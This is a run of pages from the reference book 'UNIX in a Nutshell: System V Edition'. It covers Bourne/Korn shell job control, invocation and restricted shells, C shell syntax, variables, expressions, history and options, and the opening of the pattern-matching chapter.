Many job control commands take jobID as an argument. This argument can be specified as follows:

%n

Job number n.

%s

Job whose command line starts with string s.

%?s

Job whose command line contains string s.

%%

Current job.

%+

Current job (same as above).

%-

Previous job.

The Bourne and Korn shells provide the following job control commands. For more information on these commands, see "Built-in Commands" earlier in this section.

bg

Put a job in the background.

fg

Put a job in the foreground.

jobs

List active jobs.

kill

Terminate a job.

stop

Suspend a background job.

stty tostop

Stop background jobs if they try to send output to the terminal.

suspend

Same as CTRL-Z.

wait

Wait for background jobs to finish.

CTRL-Z

Suspend a foreground job. Then use bg or fg. (Your terminal may use something other than CTRL-Z as the suspend character.)

Previous: 4.6 Built-in Commands (Bourne and Korn Shell) | UNIX in a Nutshell: System V Edition | Next: 4.8 Invoking the Shell
4.6 Built-in Commands (Bourne and Korn Shell) | Book Index | 4.8 Invoking the Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.8 Invoking the Shell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.7 Job Control Chapter 4
The Bourne Shell and Korn Shell 		Next: 4.9 Restricted Shells

4.8 Invoking the Shell

The command interpreter for the Bourne shell (sh) or the Korn shell (ksh) can be invoked as follows:

sh [options] [arguments]

ksh [options] [arguments]

ksh and sh can execute commands from a terminal (when -i is specified), from a file (when the first argument is an executable script), or from standard input (if no arguments remain or if -s is specified).

Arguments

Arguments are assigned in order to the positional parameters $1, $2, etc. If array assignment is in effect (-A or +A), arguments are assigned as array elements. If the first argument is an executable script, commands are read from it, and remaining arguments are assigned to $1, $2, etc.

Options

-c str

Read commands from string str.

-i

Create an interactive shell (prompt for input).

-p

Start up as a privileged user (i.e., don't process $HOME/.profile).

-r

Create a restricted shell (same as rksh or rsh).

-s

Read commands from standard input; output from built-in commands goes to file descriptor 1; all other shell output goes to file descriptor 2.

The remaining options to sh and ksh are listed under the set built-in command.

Previous: 4.7 Job Control | UNIX in a Nutshell: System V Edition | Next: 4.9 Restricted Shells
4.7 Job Control | Book Index | 4.9 Restricted Shells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.9 Restricted Shells

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.8 Invoking the Shell Chapter 4
The Bourne Shell and Korn Shell 		Next: 5. The C Shell

4.9 Restricted Shells

Restricted shells can be invoked in any of the following ways:

rksh	Korn shell
ksh -r
set -r

rsh	Bourne Shell
set -r

Restricted shells can also be set up by supplying rksh and rsh in the shell field of /etc/passwd or by using them as the value for the SHELL variable.

Restricted shells act the same as their non-restricted counterparts, except that the following are prohibited:

  • Changing directory (i.e., using cd).

  • Setting the PATH variable. rksh also prohibits setting ENV and SHELL.

  • Specifying a / for command names or pathnames.

  • Redirecting output (i.e., using > and >>).

Shell scripts can still be run, since in that case the restricted shell will call ksh or sh to run the script.

Previous: 4.8 Invoking the Shell | UNIX in a Nutshell: System V Edition | Next: 5. The C Shell
4.8 Invoking the Shell | Book Index | 5. The C Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] The C Shell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.9 Restricted Shells Chapter 5 Next: 5.2 Syntax

5. The C Shell

Contents:
Overview of Features
Syntax
Variables
Expressions
Command History csh shell
Built-in C Shell Commands
Job Control
Invoking the Shell

This section describes the C shell, so named because many of its programming constructs and symbols resemble those of the C programming language. The following topics are presented:

  • Overview of features

  • Syntax

  • Variables

  • Expressions

  • Command history

  • Built-in commands

  • Job control

  • Invoking the shell

5.1 Overview of Features

Features of the C shell include:

  • Input/output redirection

  • Wildcard characters (metacharacters) for filename abbreviation

  • Shell variables for customizing your environment

  • Integer arithmetic

  • Access to previous commands (command history)

  • Command name abbreviation (aliasing)

  • A built-in command set for writing shell programs

  • Job control

Previous: 4.9 Restricted Shells | UNIX in a Nutshell: System V Edition | Next: 5.2 Syntax
4.9 Restricted Shells | Book Index | 5.2 Syntax
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.2 Syntax

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.1 Overview of Features Chapter 5
The C Shell 		Next: 5.3 Variables

5.2 Syntax

This subsection describes the many symbols peculiar to the C shell. The topics are arranged as follows:

  • Special files

  • Filename metacharacters

  • Quoting

  • Command forms

  • Redirection forms

5.2.1 Special Files

~/.cshrc | Executed at each instance of shell.
~/.history | History list saved from previous login.
~/.login | Executed by login shell after .cshrc at login.
~/.logout | Executed by login shell at logout.
/etc/passwd | Source of home directories for ~name abbreviations.

5.2.2 Filename Metacharacters

* | Match any string of zero or more characters.
? | Match any single character.
[abc...] | Match any one of the enclosed characters; a hyphen can be used to specify a range (e.g., a-z, A-Z, 0-9).
{abc,xxx,...} | Expand each comma-separated string inside braces.
~ | Home directory for the current user.
~name | Home directory of user name.

5.2.2.1 Examples

% ls new*       Match new and new.1.
% cat ch?       Match ch9 but not ch10.
% vi [D-R]*     Match files that begin with uppercase D through R.
% ls {ch,app}?	 Expand, then match ch1, ch2, app1, app2.
% cd ~tom	 Change to tom's home directory.

5.2.3 Quoting

Quoting disables a character's special meaning and allows it to be used literally, as itself. The following characters have special meaning to the C shell:

; | Command separator.
& | Background execution.
( ) | Command grouping.
| | Pipe.
* ? [ ] ~ | Filename metacharacters.
{ } | String expansion characters. Usually don't require quoting.
> < & ! | Redirection symbols.
! ^ | History substitution, quick substitution.
" ' \ | Used in quoting other characters.
` | Command substitution.
$ | Variable substitution.
newline space tab | Word separators.

The characters below can be used for quoting:

" "

Everything between " and " is taken literally, except for the following characters that keep their special meaning:

$

Variable substitution will occur.

`

Command substitution will occur.

"

This marks the end of the double quote.

\

Escape next character.

!

The history character.

' ' | Everything between ' and ' is taken literally except for ! (history) and another ', and newline.
\ | The character following a \ is taken literally. Use within " " to escape ", $, and `. Often used to escape itself, spaces, or newlines. Always needed to escape a history character (usually !).

5.2.3.1 Examples

% echo 'Single quotes "protect" double quotes'
Single quotes "protect" double quotes
% echo "Well, isn't that \"special\"?"
Well, isn't that "special"?
% echo "You have `ls|wc -l` files in `pwd`"
You have 43 files in /home/bob
% echo "The value of \$x is $x"
The value of $x is 100

5.2.4 Command Forms

cmd & | Execute cmd in background.
cmd1 ; cmd2 | Command sequence; execute multiple cmds on the same line.
(cmd1 ; cmd2) | Subshell; treat cmd1 and cmd2 as a command group.
cmd1 | cmd2 | Pipe; use output from cmd1 as input to cmd2.
cmd1 `cmd2` | Command substitution; use cmd2 output as arguments to cmd1.
cmd1 && cmd2 | AND; execute cmd1 and then (if cmd1 succeeds) cmd2.
cmd1 || cmd2 | OR; execute either cmd1 or (if cmd1 fails) cmd2.

5.2.4.1 Examples

% nroff file &	Format in the background.
% cd; ls	Execute sequentially.
% (date; who; pwd) > logfile	All output is redirected.
% sort file | pr -3 | lp	Sort file, page output, then print.
% vi `grep -l ifdef *.c`	Edit files found by grep.
% egrep '(yes|no)' `cat list`	Specify a list of files to search.
% grep XX file && lp file	Print file if it contains the pattern,
% grep XX file || echo XX not found	otherwise, echo an error message.

5.2.5 Redirection Forms

File |  | Common | Typical
Descriptor | Name | Abbreviation | Default
0 | Standard Input | stdin | Keyboard
1 | Standard Output | stdout | Terminal
2 | Standard Error | stderr | Terminal

The usual input source or output destination can be changed as follows:

5.2.5.1 Simple Redirection

cmd > file | Send output of cmd to file (overwrite).
cmd >! file | Same as above, even if noclobber is set.
cmd >> file | Send output of cmd to file (append).
cmd >>! file | Same as above, but create file even if noclobber is set.
cmd < file | Take input for cmd from file.
cmd << text | Read standard input up to a line identical to text (text can be stored in a shell variable).Input is usually typed on the screen or in the shell program. Commands that typically use this syntax include cat, echo, ex, and sed. If text is enclosed in quotes, standard input will not undergo variable substitution, command substitution, etc.

5.2.5.2 Multiple Redirection

cmd >& file | Send both standard output and standard error to file.
cmd >&! file | Same as above, even if noclobber is set.
cmd >>& file | Append standard output and standard error to end of file.
cmd >>&! file | Same as above, but create file even if noclobber is set.
cmd1 |& cmd2 | Pipe standard error together with standard output.
(cmd > f1) >& f2 | Send standard output to file f1; standard error to file f2.
cmd | tee files | Send output of cmd to standard output (usually the terminal) and to files. (See the example in Section 2 under tee.)

5.2.5.3 Examples

% cat part1 > book
% cat part2 part3 >> book
% mail tim < report
% cc calc.c >& error_out
% cc newcalc.c >&! error_out
% grep UNIX ch* |& pr
% (find / -print > filelist) >& no_access

% sed 's/^/XX /g' << "END_ARCHIVE"
This is often how a shell archive is "wrapped",
bundling text for distribution.  You would normally
run sed from a shell program, not from the command line.
"END_ARCHIVE"
XX This is often how a shell archive is "wrapped",
XX bundling text for distribution.  You would normally
XX run sed from a shell program, not from the command line.

Previous: 5.1 Overview of Features | UNIX in a Nutshell: System V Edition | Next: 5.3 Variables
5.1 Overview of Features | Book Index | 5.3 Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.3 Variables

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.2 Syntax Chapter 5
The C Shell 		Next: 5.4 Expressions

5.3 Variables

This subsection describes the following:

  • Variable substitution

  • Variable modifiers

  • Predefined shell variables

  • Example .cshrc file

  • Environment variables

5.3.1 Variable Substitution

In the following substitutions, braces ({}) are optional, except when needed to separate a variable name from following characters that would otherwise be a part of it.

${var} | The value of variable var.
${var[i]} | Select word or words in position i of var. i can be a single number, a range m-n, a range -n (missing m implies 1), a range m- (missing n implies all remaining words), or * (select all words). i can also be a variable that expands to one of these values.
${#var} | The number of words in var.
${#argv} | The number of arguments.
$0 | Name of the program.
${#argv[n]} | Individual arguments on command line (positional parameters). n = 1-9.
${n} | Same as ${argv[n]}.
${#argv[*]} | All arguments on command line.
$* | Same as $argv[*].
$argv[$#argv] | The last argument.
${?var} | Return 1 if var is set; 0 if var is not set.
$$ | Process number of current shell; useful as part of a filename for creating temporary files with unique names.
$?0 | Return 1 if input filename is known; 0 if not.
$< | Read a line from standard input.

5.3.1.1 Examples

Sort the third through last arguments (files) and save the output in a unique temporary file:

sort $argv[3-] > tmp.$$

Process .cshrc commands only if the shell is interactive (i.e., the prompt variable must be set).

if ($?prompt) then
   set commands,
   alias commands,
   etc.
endif

5.3.2 Variable Modifiers

Except for $?var, $$, $?0, and $<, the variable substitutions above may be followed by one of these modifiers. When braces are used, the modifier goes inside them.

:r

Return the variable's root.

:e

Return the variable's extension.

:h

Return the variable's header.

:t

Return the variable's tail.

:gr

Return all roots.

:ge

Return all extensions.

:gh

Return all headers.

:gt

Return all tails.

:q

Quote a wordlist variable, keeping the items separate. Useful when the variable contains filename metacharacters that should not be expanded.

:x

Quote a pattern, expanding it into a wordlist.

5.3.2.1 Examples Using Pathname Modifiers

The table below shows the use of pathname modifiers on the following variable:

aa=(/progs/num.c /book/chap.ps)

Variable Portion | Specification | Output Result
Normal Variable | echo $aa | /progs/num.c /book/chap.ps
Second Root | echo $aa[2]:r | /book/chap
Second Header | echo $aa[2]:h | /book
Second Tail | echo $aa[2]:t | chap.ps
Second Extension | echo $aa[2]:e | ps
Root | echo $aa:r | /progs/num /book/chap.ps
Global Root | echo $aa:gr | /progs/num /book/chap
Header | echo $aa:h | /progs /book/chap.ps
Global Header | echo $aa:gh | /progs /book
Tail | echo $aa:t | num.c /book/chap.ps
Global Tail | echo $aa:gt | num.c chap.ps
Extension | echo $aa:e | c /book/chap.ps
Global Extension | echo $aa:ge | c ps

5.3.2.2 Examples Using Quoting Modifiers

% set a="[a-z]*" A="[A-Z]*"
% echo "$a" "$A"
[a-z]* [A-Z]*

% echo $a $A
at cc m4 Book Doc

% echo $a:x $A
[a-z]* Book Doc

% set d=($a:q $A:q)
% echo $d
at cc m4 Book Doc

% echo $d:q
[a-z]* [A-Z]*

% echo $d[1] +++ $d[2]
at cc m4 +++ Book Doc

% echo $d[1]:q
[a-z]*

5.3.3 Predefined Shell Variables

Variables can be set in one of two ways, by assigning a value:

set var=value

or by simply turning them on:

set var

In the table below, variables that accept values are shown with the equal sign followed by the type of value they accept; the value is then described. (Note, however, that variables such as argv, cwd, or status are never explicitly assigned.) For variables that are turned on or off, the table describes what they do when set. The C shell automatically sets the variables argv, cwd, home, path, prompt, shell, status, term, and user.

argv=(args) | List of arguments passed to current command; default is ().
cdpath=(dirs) | List of alternate directories to search when locating arguments for cd, popd, or pushd.
cwd=dir | Full pathname of current directory.
echo | Re-display each command line before execution; same as csh -x command.
fignore=(chars) | List of filename suffixes to ignore during filename completion (see filec).
filec | If set, a filename that is partially-typed on the command line can be expanded to its full name when ESC is pressed. If more than one filename would match, type EOF to list possible completions.
hardpaths | Tell dirs to display the actual pathname of any directory that is a symbolic link.
histchars=ab | A two-character string that sets the characters to use in history-substitution and quick-substitution (default is !^).
history=n | Number of commands to save in history list.
home=dir | Home directory of user, initialized from HOME. The ~ character is shorthand for this value.
ignoreeof | Ignore an end-of-file (EOF) from terminals; prevents accidental logout.
mail=(n file) | One or more files checked for new mail every 5 minutes or (if n is supplied) every n seconds.
nobeep | Don't ring bell for ambiguous file completion (see filec).
noclobber | Don't redirect output to an existing file; prevents accidental destruction of files.
noglob | Turn off filename expansion; useful in shell scripts.
nonomatch | Treat filename metacharacters as literal characters; e.g., vi ch* creates new file ch* instead of printing ``No match."
notify | Notify user of completed jobs right away, instead of waiting for the next prompt.
path=(dirs) | List of pathnames in which to search for commands to execute. Initialized from PATH; default is ( . /usr/ucb /usr/bin ).
prompt='str' | String that prompts for interactive input; default is %.
savehist=n | Number of history commands to save in ~/.history upon logout; they can be accessed at the next login.
shell=file | Pathname of the shell program currently in use; default is /bin/csh.
status=n | Exit status of last command. Built-in commands return 0 (success) or 1 (failure).
term=ID | Name of terminal type, initialized to /etc/ttytype; same as TERM.
time='n %c' | If command execution takes more than n CPU seconds, report user time, system time, elapsed time, and CPU percentage. Supply optional %c flags to show other data.
user=name | Login name of user, initialized from USER.
verbose | Display a command after history substitution; same as the command csh -v.

5.3.4 Example .cshrc File

# PREDEFINED VARIABLES
set path=(~ ~/bin /usr/ucb /bin /usr/bin . )
set mail=(/usr/mail/tom)

if ($?prompt) then           # settings for interactive use
  set echo
  set filec
  set noclobber ignoreeof

  set cdpath=(/usr/lib /usr/spool/uucp)
# Now I can type cd macros
# instead of cd /usr/lib/macros

  set fignore=.o             # ignore object files for filec
  set history=100 savehist=25
  set prompt='tom \!% '      # includes history number
  set time=3

# MY VARIABLES

  set man1="/usr/man/man1"     # lets me do   cd $man1, ls $man1
  set a="[a-z]*"               # lets me do   vi $a
  set A="[A-Z]*"               # or           grep string $A

# ALIASES

  alias c "clear; dirs"        # use quotes to protect ; or |
  alias h "history|more"
  alias j jobs -l
  alias ls ls -sFC             # redefine ls command
  alias del 'mv \!* ~/tmp_dir' # a safe alternative to rm
endif

5.3.5 Environment Variables

The C shell maintains a set of environment variables, which are distinct from shell variables and aren't really part of the C shell. Shell variables are meaningful only within the current shell, but environment variables are automatically exported, making them available globally. For example, C shell variables are accessible only to a particular script in which they're defined, whereas environment variables can be used by any shell scripts, mail utilities, or editors you might invoke.

Environment variables are assigned as follows:

setenv VAR value

By convention, environment variable names are all uppercase. You can create your own environment variables, or you can use the predefined environment variables below.

These environment variables have a corresponding C shell variable. When either one changes, the value is copied to the other:

HOME

Home directory; same as home.

PATH

Search path for commands; same as path.

TERM

Terminal type; same as term.

USER

User name; same as user.

Other environment variables include the following:

EXINIT

A string of ex commands similar to those found in the startup .exrc file (e.g., set ai). Used by vi and ex.

LOGNAME

Another name for the USER variable.

MAIL

The file that holds mail. Used by mail programs. This is not the same as the C shell mail variable, which only checks for new mail.

PWD

The current directory; the value is copied from cwd.

SHELL

Undefined by default; once initialized to shell, the two are identical.

TERMCAP

The file that holds the cursor-positioning codes for your terminal type. Default is /etc/termcap.

Previous: 5.2 Syntax | UNIX in a Nutshell: System V Edition | Next: 5.4 Expressions
5.2 Syntax | Book Index | 5.4 Expressions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.4 Expressions

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.3 Variables Chapter 5
The C Shell 		Next: 5.5 Command History csh shell

5.4 Expressions

Expressions are used in @, if, and while statements to perform arithmetic, string comparisons, file testing, etc. exit and set can also specify expressions. Expressions are formed by combining variables and constants with operators that resemble those in the C programming language. Operator precedence is the same as in C but can be remembered as follows:

  1. * / %

  2. + -

Group all other expressions inside ( )'s. Parentheses are required if the expression contains <, >, &, or |.

5.4.1 Operators

Operators can be one of the following types:

5.4.1.1 Assignment Operators

= | Assign value.
+= -= | Reassign after addition/subtraction.
*= /= %= | Reassign after multiplication/division/remainder.
&= ^= |= | Reassign after bitwise AND/XOR/OR.
++ | Increment
- | Decrement.

5.4.1.2 Arithmetic Operators

* / % | Multiplication; integer division; modulus (remainder).
+ - | Addition; subtraction.

5.4.1.3 Bitwise and Logical Operators

~ | Binary inversion (one's complement).
! | Logical negation.
< >> | Bitwise left shift; bitwise right shift.
& | Bitwise AND.
^ | Bitwise exclusive OR.
| | Bitwise OR.
&& | Logical AND.
|| | Logical OR.
{ command } | Return 1 if command is successful; 0 otherwise. Note that this is the opposite of command's normal return code. The $status variable may be more practical.

5.4.1.4 Comparison Operators

== != | Equality; inequality.
<= >= | Less than or equal to; greater than or equal to.
< > | Less than; greater than.
=~ | String on left matches a filename pattern containing *, ?, or [...].
!~ | String on left does not match a filename pattern containing *, ?, or [...].

5.4.1.5 File Inquiry Operators

Command substitution and filename expansion are performed on file before the test is performed.

-d file | The file is a directory.
-e file | The file exists.
-f file | The file is a plain file.
-o file | The user owns the file.
-r file | The user has read permission.
-w file | The user has write permission.
-x file | The user has execute permission.
-z file | The file has zero size.
! | Reverse the sense of any inquiry above.

5.4.2 Examples

The following examples show @ commands and assume n = 4:

Expression | Value of $x
@ x = ($n > 10 || $n < 5) | 1
@ x = ($n >= 0 && $n < 3) | 0
@ x = ($n << 2) | 16
@ x = ($n >> 2) | 1
@ x = $n % 2 | 0
@ x = $n % 3 | 1

The following examples show the first line of if or while statements:

Expression | Meaning
while ($#argv != 0) | While there are arguments ...
if ($today[1] == "Fri") | If the first word is "Fri"...
if ($file !~ *.[zZ]) | If the file doesn't end with .z or .Z ...
if ($argv[1] =~ chap?) | If the first argument is chap followed by a single character...
if (-f $argv[1]) | If the first argument is a plain file...
if (! -d $tmpdir) | If tmpdir is not a directory...

Previous: 5.3 Variables | UNIX in a Nutshell: System V Edition | Next: 5.5 Command History csh shell
5.3 Variables | Book Index | 5.5 Command History csh shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.5 Command History csh shell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.4 Expressions Chapter 5
The C Shell 		Next: 5.6 Built-in C Shell Commands

5.5 Command History csh shell

Previously executed commands are stored in a history list. The C shell lets you access this list so you can verify commands, repeat them, or execute modified versions of them. The history built-in command displays the history list; the predefined variables histchars, history, and savehist also affect the history mechanism. Accessing the history list involves three things:

  • Making command substitutions (using ! and ^ ).

  • Making argument substitutions (specific words within a command).

  • Using modifiers to extract or replace parts of a command or word.

5.5.1 Command Substitution

! | Begin a history substitution.
!! | Previous command.
!N | Command number N in history list.
!-N | Nth command back from current command.
!string | Most recent command that starts with string.
!?string? | Most recent command that contains string.
!?string?% | Most recent command argument that contains string.
!$ | Last argument of previous command.
!!string | Previous command, then append string.
!N string | Command N, then append string.
!{s1}s2 | Most recent command starting with string s1, then append string s2.
^old^new^ | Quick substitution; change string old to new in previous command; execute modified command.

5.5.2 Command Substitution Examples

The following command is assumed:

%3 vi cprogs/01.c ch002 ch03

Event | Command | Command
Number | Typed | Executed
4 | ^00^0 | vi cprogs/01.c ch02 ch03
5 | nroff !* | nroff cprogs/01.c ch02 ch03
6 | nroff !$ | nroff ch03
7 | !vi | vi cprogs/01.c ch02 ch03
8 | !6 | nroff ch03
Event | Command | Command
Number | Typed | Executed
9 | !?01 | vi cprogs/01.c ch02 ch03
10 | !{nr}.new | nroff ch03.new
11 | !!|lp | nroff ch03.new | lp
12 | more !?pr?% | more cprogs/01.c

5.5.3 Word Substitution

Colons may precede any word specifier. After an event number, colons are optional unless shown below:

:0 | Command name.
:n | Argument number n.
^ | First argument.
$ | Last argument.
:n-m | Arguments n through m.
-m | Words 0 through m; same as :0-m.
:n- | Arguments n through next-to-last.
:n* | Arguments n through last; same as n-$.
* | All arguments; same as ^-$ or 1-$.
# | Current command line up to this point; fairly useless.

5.5.4 Word Substitution Examples

The following command is assumed:

%13 cat ch01 ch02 ch03 biblio back

Event | Command | Command
Number | Typed | Executed
14 | ls !13^ | ls ch01
15 | sort !13:* | sort ch01 ch02 ch03 biblio back
16 | lp !cat:3* | more ch03 biblio back
17 | !cat:0-3 | cat ch01 ch02 ch03
18 | vi !-5:4 | vi biblio

5.5.5 History Modifiers

Command and word substitutions can be modified by one or more of the following:

5.5.5.1 Printing, Substitution, and Quoting

:p | Display command but don't execute.
:s/old/new | Substitute string new for old, first instance only.
:gs/old/new | Substitute string new for old, all instances.
:& | Repeat previous substitution (:s or ^ command), first instance only.
:g& | Repeat previous substitution, all instances.
:q | Quote a wordlist.
:x | Quote separate words.

5.5.5.2 Truncation

:r | Extract the first available pathname root.
:gr | Extract all pathname roots.
:e | Extract the first available pathname extension.
:ge | Extract all pathname extensions.
:h | Extract the first available pathname header.
:gh | Extract all pathname headers.
:t | Extract the first available pathname tail.
:gt | Extract all pathname tails.

5.5.6 History Modifier Examples

From above, command number 17 is:

%17 cat ch01 ch02 ch03

Event | Command | Command
Number | Typed | Executed
19 | !17:s/ch/CH/ | cat CH01 ch02 ch03
20 | !:g& | cat CH01 CH02 CH03
21 | !more:p | more cprogs/01.c (displayed only)
22 | cd !$:h | cd cprogs
23 | vi !mo:$:t | vi 01.c
24 | grep stdio !$ | grep stdio 01.c
25 | ^stdio^include stdio^:q | grep "include stdio" 01.c
26 | nroff !21:t:p | nroff 01.c (is that want I wanted?)
27 | !! | nroff 01.c (execute it)

Previous: 5.4 Expressions | UNIX in a Nutshell: System V Edition | Next: 5.6 Built-in C Shell Commands
5.4 Expressions | Book Index | 5.6 Built-in C Shell Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.6 Built-in C Shell Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.5 Command History csh shell Chapter 5
The C Shell 		Next: 5.7 Job Control

5.6 Built-in C Shell Commands

  • #
  • #!
  • :
  • alias
  • bg
  • break
  • breaksw
  • case
  • cd
  • chdir
  • continue
  • default
  • dirs
  • echo
  • end
  • endif
  • eval
  • exec
  • exit
  • fg
  • foreach
  • glob
  • goto
  • hashstat
  • history
  • if
  • jobs
  • kill
  • limit
  • login
  • logout
  • nice
  • nohup
  • notify
  • onintr
  • popd
  • pushd
  • rehash
  • repeat
  • set
  • setenv
  • shift
  • source
  • stop
  • suspend
  • switch
  • time
  • umask
  • unalias
  • unhash
  • unlimit
  • unset
  • unsetenv
  • wait
  • while
  • @

Previous: 5.5 Command History csh shell | UNIX in a Nutshell: System V Edition | Next: 5.7 Job Control
5.5 Command History csh shell | Book Index | 5.7 Job Control
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.7 Job Control

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.6 Built-in C Shell Commands Chapter 5
The C Shell 		Next: 5.8 Invoking the Shell

5.7 Job Control

Job control lets you place foreground jobs in the background, bring background jobs to the foreground, or suspend (temporarily stop) running jobs. The C shell provides the following commands for job control. For more information on these commands, see "Built-in Commands" earlier in this section.

bg

Put a job in the background.

fg

Put a job in the foreground.

jobs

List active jobs.

kill

Terminate a job.

notify

Notify when a background job finishes.

stop

Suspend a background job.

CTRL-Z

Suspend a foreground job.

Many job control commands take jobID as an argument. This argument can be specified as follows:

%n

Job number n.

%s

Job whose command line starts with string s.

%?s

Job whose command line contains string s.

%%

Current job.

%

Current job (same as above).

%+

Current job (same as above).

%-

Previous job.

Previous: 5.6 Built-in C Shell Commands | UNIX in a Nutshell: System V Edition | Next: 5.8 Invoking the Shell
5.6 Built-in C Shell Commands | Book Index | 5.8 Invoking the Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.8 Invoking the Shell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.7 Job Control Chapter 5
The C Shell 		Next: 6. Pattern Matching

5.8 Invoking the Shell

The C-shell command interpreter can be invoked as follows:

csh [options] [arguments]

csh uses syntax resembling C and executes commands from a terminal or a file. Options -n, -v, and -x are useful when debugging scripts.

Options

-b

Allow the remaining command-line options to be interpreted as options to a specified command, rather than as options to csh itself.

-c

Execute commands located in first filename argument.

-e

Exit if a command produces errors.

-f

Fast start up; start csh without executing .cshrc or .login.

-i

Invoke interactive shell (prompt for input).

-n

Parse commands but do not execute.

-s

Read commands from the standard input.

-t

Exit after executing one command.

-v

Display commands before executing them; expand history substitutions but don't expand other substitutions (e.g., filename, variable, and command). Same as setting verbose.

-V

Same as -v, but also display .cshrc.

-x

Display commands before executing them, but expand all substitutions. Same as setting echo. -x is often combined with -v.

-X

Same as -x, but also display .cshrc.

Previous: 5.7 Job Control | UNIX in a Nutshell: System V Edition | Next: 6. Pattern Matching
5.7 Job Control | Book Index | 6. Pattern Matching
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] Pattern Matching

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.8 Invoking the Shell Chapter 6 Next: 6.2 Metacharacters, Listed by UNIX Program

6. Pattern Matching

Contents:
Filenames Versus Patterns
Metacharacters, Listed by UNIX Program
Metacharacters
Examples of Searching

A number of UNIX text-editing utilities let you search for, and in some cases change, text patterns rather than fixed strings. These utilities include the editing programs ed, ex, vi, and sed, the awk scripting language, and the commands grep and egrep. Text patterns (also called regular expressions) contain normal characters mixed with special characters (also called metacharacters).

This section presents the following topics:

  • Filenames versus patterns

  • List of metacharacters available to each program

  • Description of metacharacters

  • Examples

6.1 Filenames Versus Patterns

Metacharacters used in pattern matching are different from metacharacters used for filename expansion (see Sections 4 and 5). When you issue a command on the command line, special characters are seen first by the shell, then by the program; therefore, unquoted metacharacters are interpreted by the shell for filename expansion. The command:

$ grep [A-Z]* chap[12]

could, for example, be interpreted by the shell as:

$ grep Array.c Bug.c Comp.c chap1 chap2

and would then try to find the pattern Array.c in files Bug.c, Comp.c, chap1, and chap2. To bypass the shell and pass the special characters to grep, use quotes:

$ grep "[A-Z]*" chap[12]

Double quotes suffice in most cases, but single quotes are the safest bet.

(Note also that in pattern matching, ? matches zero or one instance of a regular expression; in filename expansion, ? matches a single character.)

Previous: 5.8 Invoking the Shell | UNIX in a Nutshell: System V Edition | Next: 6.2 Metacharacters, Listed by UNIX Program
5.8 Invoking the Shell | Book Index | 6.2 Metacharacters, Listed by UNIX Program
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.2 Metacharacters, Listed by UNIX Program

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 6.1 Filenames Versus Patterns Chapter 6
Pattern Matching 		Next: 6.3 Metacharacters

6.2 Metacharacters, Listed by UNIX Program

Some metacharacters are valid for one program but not for another. Those that are available to a UNIX program are marked by a bullet ( ·) in the table below. Full descriptions are provided after the table.

Symbol | ed | ex | vi | sed | awk | grep | egrep | Action
. | · | · | · | · | · | · | · | Match any character.
* | · | · | · | · | · | · | · | Match zero or more preceding.
^ | · | · | · | · | · | · | · | Match beginning of line.
$ | · | · | · | · | · | · | · | Match end of line.
\ | · | · | · | · | · | · | · | Escape character following.
[ ] | · | · | · | · | · | · | · | Match one from a set.
\( \) | · | · |  | · |  |  |  | Store pattern for later replay.
\{ \} | · |  |  | · |  | · |  | Match a range of instances.
\< \> | · | · | · |  |  |  |  | Match word's beginning or end.
+ |  |  |  |  | · |  | · | Match one or more preceding.
? |  |  |  |  | · |  | · | Match zero or one preceding.
| |  |  |  |  | · |  | · | Separate choices to match.
( ) |  |  |  |  | · |  | · | Group expressions to match.

